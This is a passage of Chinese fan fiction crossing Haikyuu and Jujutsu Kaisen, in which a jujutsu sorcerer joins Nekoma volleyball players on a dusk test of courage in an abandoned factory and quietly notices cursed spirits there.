这里已经接近郊区,周围除了树还是树,如果公交开的方向跟高专的方向不是完全相反的话,她甚至都要怀疑这些家伙是想去高专那边进行试胆大会了。 走在最前面领头的三年级学长转过身,面对众人,脸上带着不怀好意的笑容,“马上就到了,就在树林里面。” 他一边往前带路一边说道:“听说是一家废弃的工厂,以前发生了意外死了好多人,后来彻底荒废下来,但是听说有人在晚上路过的时候,还能从外面看到窗户里面有白色的人影在晃。” 他越说声音越喑哑,故意压低了嗓子,似乎想要营造出那种恐怖的氛围。 千早偏过头看了还挂在天边晕染出一片夕阳的太阳,虽然太阳已经开始落山,但再怎么说也还是白天,怎么都不会害怕吧。 更何况,废弃工厂、意外、死人,这些词汇组合在一起,对千早来说并没有什么恐怖的。 千早面无表情地盯着那条通往树林深处的小路,眼底没有任何波澜。 她跟着大部队沿着小路往树林深处走,路越走越窄,两边的树枝伸出来,几乎挡住了去路。 黑尾走在千早和研磨前面,帮她们拂开树枝。 “注意脚下。” 前面的黑尾出声提醒道。 “好。” 千早应了一声,一步一步跟着黑尾的脚印往前走。 走了大约七八分钟,树林突然变得稀疏,已经能够看到前面不远处的建筑物。 那是一栋三层高的黑白色建筑,外墙的白漆已经大片剥落,露出下面灰黑色的水泥。 正门紧闭着,上面用红色的油漆写了几个大字。 “危险”和“立入禁止”。 领头的学长走出树林,转身压低声音,脸上的表情做得很足,“到了,就是这里。” 走在队伍中间的夜久凑到黑尾旁边小声道:“这里真的能进吗?” 海正好也在这边,难得地有些不太赞同地皱着眉打量那栋建筑,“感觉最好还是不要进去,就算没有鬼怪这种东西,这栋建筑本身看起来也不太安全,应该很久没有修缮过了。” 夜久点头附议,然后想起什么似得看向黑尾的身后。 “说起来,朝比奈你今天的装扮超级漂亮啊!” 千早微微一愣,朝他点头致谢,“谢谢。” 夜久双手叉腰,大大咧咧地笑道:“我说的也是实话,你以后可以多梳马尾把脸露出来啊。山本刚刚可是在车上表情严肃地看了你好几次。” 啊说起来有过呢,那种经历。 那是在开学没多久之后发生的事情,山本站在教室门边表情紧绷地盯着教室里的女生,但却一句话都不说,吓坏了不少人。 后来才知道,那只是他在纠结该怎么跟女生们说话。 幸好山本不在附近,没有听到夜久说的话,不然不知道又会做出什么样的反应。 “好了!那边的几个别闲聊了,赶紧过来!” 领头的几个三年级已经有些不耐烦,朝这边挥挥手喊道。 落后的几人闻言不再说笑,纷纷跟上前辈的脚步。 千早走到黑尾的身侧,仰起头目光淡淡地扫过工厂。 看起来确实会像是有什么东西的样子。 不如说……确实有啊。 虽然不是鬼。 别的不说,至少这里大概真的死过人,而且还不只一两个。 千早收回目光,跟着队伍走到工厂的正门前。 铁皮门虽然紧闭着,但并没有上锁,可能是之前也有人来探险想办法把锁弄掉了。 许是三年级也不太放心这地方的安全系数,没有安排分组,而是全员一起进去。 铁门被推开时,发出刺耳的嘎吱声。 天色还没有完全暗下来,但工厂周围环绕着高耸的大树,外面的阳光无法照进工厂里。 因此,三年级的几个人甚至掏出了手电筒交给每个人。 千早毕竟是队伍里唯一的女生,即使是看她不爽的三年级生也没有在这个时候挑刺,让她走在了队伍的正中间。 也因此,她虽然握住了手中的手电筒,但却没有打开。 毕竟前后左右其他人手中手电筒照出来的光已经足够用。 铁门后面是一个宽敞的大厅,地上散落着碎玻璃和破纸箱还有一些零食的垃圾袋,墙上的红色消防栓箱的门歪斜着,空气中弥漫着一股潮湿的霉味。 脚步声在空旷的空间中被放大,像是有许多人同时在这里行走。 队伍穿过大厅,进入走廊,走廊两侧是一扇扇紧闭的门,门上的玻璃窗没有碎但是上面落了厚厚的一层灰,即使擦掉外面这一层,里面的灰也让玻璃窗变得十分模糊,根本看不见房间里是什么样子。 一只四级咒灵跟千早擦肩而过,飞向其他方向。 千早目不斜视地盯着最前方,看都没看那只咒灵一眼。 这算是加班吗?虽然说咒术师确实会定期去一些容易滋生咒灵的地方巡查,但是这其中显然不包括她这个已经很忙的打工人了。 所以,会给加班费吗?